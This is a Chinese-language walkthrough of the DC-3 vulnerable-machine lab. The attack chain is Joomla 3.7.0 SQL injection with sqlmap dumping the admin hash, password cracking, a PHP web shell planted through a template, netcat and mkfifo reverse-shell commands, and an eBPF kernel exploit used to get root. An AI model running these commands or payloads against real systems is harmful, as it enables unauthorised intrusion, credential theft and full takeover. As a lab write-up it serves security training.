kali IP:192.168.44.131
开机出现错误,解决方法。趁着更改网络连接方式为nat模式。
开启kali.探测主机存活
nmap -sP 192.168.44.0/24
DC3IP: 192.168.44.143
扫描主机开放服务
nmap -A 192.168.44.143 -p 1-65535
只开放80端口,直接浏览器访问
指纹识别
whatweb http://192.168.44.143/
结果显示使用apache平台,服务器为Ubantu,
扫描漏洞,使用joomscan进行扫描,
漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报告。
joomscan --url http://192.168.44.143/
扫描到administrator目录,这不待看看,(还扫到joomla 版本3.7.0)
后台登录页面joomscan扫到后台是joomla 3.7.0模板,然后查找模板漏洞
searchsploit joomla 3.7.0
把文件拷贝到本地
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt 1.txt
cat 查看 txt文件
提示使用sql注入,复制命令更改地址直接跑
sqlmap -u "http://192.168.44.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
看到joomladb数据库,接着列出所有表名
sqlmap -u "http://192.168.44.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D “joomladb" --tables -p list[fullordering]
发现#__users表,列出users表的字段内容
sqlmap -u "http://192.168.44.143//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump
跑出用户名密码
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
将password hash值保存成文本,john破解
得到了用户名admin 密码snoopy。尝试登录
登录成功,在这里新建php文件,上传一句话木马
网页中访问测试是否成功写入
成功访问, 用蚁剑连接
连接成功之后,lali开启本地监听
nc -lvvp 4444
蚁剑虚拟终端(服务端)主动连接kali(客户端)
nc -e /bin/bash 192.168.44.131 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.44.131 4444 >/tmp/f
此时,kali也已经监听到
提权,
至此,只知道服务端版本信息和网站指纹,尝试系统漏洞提权
1.利用操作系统本版号 (这里是ubuntu 16.04)
2.根据版本号搜索exp
3.反弹shell(这里我们已经反弹)
4.利用exp提权
查看版本信息为Ubantu 16.4
cat /proc/version
搜索漏洞
复制拷贝到本地
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu1604_shell.txt
cat查看,给出了exp的地址
由于是国外的地址,挂个代理,复制地址下载到本地,解压后通过蚁剑将exploit.tar上传到DC3的/var/www/html/templates/beez3/目录下
解压exploit.tar
进入 编译代码ebpf_mapfd_doubleput_exploit目录,编译脚本
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
至此,已经提权成功
id
suid file detected, launching rootshell...
we have root privs now...
uid=0(root) gid=0(root) groups=0(root),33(www-data)
whoami
root
cd /root
ls
the-flag.txt
cat the-flag.txt
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!